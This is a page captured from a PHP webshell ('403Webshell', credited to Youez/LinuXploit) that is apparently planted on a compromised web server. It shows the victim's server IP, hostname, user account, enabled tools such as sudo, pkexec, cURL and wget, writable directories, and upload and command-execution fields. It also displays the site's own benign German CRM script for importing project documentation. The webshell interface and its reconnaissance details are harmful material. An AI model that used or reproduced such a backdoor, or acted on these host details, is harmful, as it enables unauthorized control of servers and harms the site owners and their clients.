403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/arni-solutions.de/web/crm/cli/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/arni-solutions.de/web/crm/cli/doc_import.php
<?php
/**
 * CLI-Import für Projekt-Dokumentation (für Scripte und KI-Ausgaben).
 *
 * Beispiele:
 *   php cli/doc_import.php --project="Webshop" --title="Deployment" --file=deploy.md --note="erste Version"
 *   ./build.sh | php cli/doc_import.php --project="Webshop" --title="Build-Log"      # Inhalt von STDIN
 *   php cli/doc_import.php --project="Webshop" --title="Setup" --file=setup.md --attach=setup.sh
 *
 * Legt das Projekt bei Bedarf an. Existiert ein Dokument mit gleichem Titel im
 * Projekt, wird eine NEUE VERSION committet (Versionierung), sonst neu angelegt.
 */
if (PHP_SAPI !== 'cli') { http_response_code(403); exit("Nur über die Kommandozeile nutzbar.\n"); }
require dirname(__DIR__) . '/app/bootstrap.php';

// --- Argumente parsen (--key=value) ---
$args = [];
foreach ($argv as $a) {
    if (preg_match('/^--([a-z_]+)=(.*)$/s', $a, $m)) $args[$m[1]] = $m[2];
    elseif (preg_match('/^--([a-z_]+)$/', $a, $m)) $args[$m[1]] = true;
}

function fail($msg) { fwrite(STDERR, "FEHLER: $msg\n"); exit(1); }

$project = isset($args['project']) ? trim((string)$args['project']) : '';
$title   = isset($args['title']) ? trim((string)$args['title']) : '';
if ($project === '' || $title === '') fail('--project und --title sind erforderlich.');

// --- Inhalt aus --file oder STDIN ---
if (!empty($args['file'])) {
    if (!is_file($args['file'])) fail('Datei nicht gefunden: ' . $args['file']);
    $content = file_get_contents($args['file']);
} else {
    $content = stream_get_contents(STDIN);
}
if ($content === false) $content = '';

$note   = isset($args['note']) ? (string)$args['note'] : 'CLI-Import';
$author = isset($args['author']) ? (string)$args['author'] : 'cli';
$source = isset($args['ai']) ? 'ai' : 'cli';

// --- Projekt sicherstellen ---
$projectId = DocProject::ensure($project);

// --- Dokument finden oder anlegen ---
$st = db()->prepare('SELECT * FROM ' . tbl('docs') . ' WHERE project_id = ? AND title = ? LIMIT 1');
$st->execute([$projectId, $title]);
$doc = $st->fetch();

if ($doc) {
    $ver = Doc::commit($doc['id'], $content, $note, $author, $source);
    $docId = $doc['id'];
    echo "Dokument aktualisiert: \"$title\" (Projekt: $project) → Version $ver\n";
} else {
    $docId = Doc::createDoc($projectId, $title, $content, $author, $source);
    echo "Dokument neu angelegt: \"$title\" (Projekt: $project) → Version 1\n";
}

// --- Optionaler Datei-Anhang ---
if (!empty($args['attach'])) {
    if (!is_file($args['attach'])) fail('Anhang nicht gefunden: ' . $args['attach']);
    $orig = basename($args['attach']);
    $stored = 'doc_' . $docId . '_' . time() . '_' . preg_replace('/[^A-Za-z0-9._-]/', '_', $orig);
    $destDir = cfg('paths.storage') . '/docs';
    if (!is_dir($destDir)) @mkdir($destDir, 0775, true);
    if (!copy($args['attach'], $destDir . '/' . $stored)) fail('Anhang konnte nicht kopiert werden.');
    DocFile::insert([
        'project_id'    => $projectId,
        'doc_id'        => $docId,
        'original_name' => $orig,
        'stored_name'   => $stored,
        'mime'          => function_exists('mime_content_type') ? (mime_content_type($args['attach']) ?: null) : null,
        'size'          => filesize($args['attach']) ?: null,
        'is_text'       => is_text_ext($orig) ? 1 : 0,
        'created_at'    => date('Y-m-d H:i:s'),
    ]);
    echo "Anhang gespeichert: $orig\n";
}
echo "Fertig.\n";

Youez - 2016 - github.com/yon3zu
LinuXploit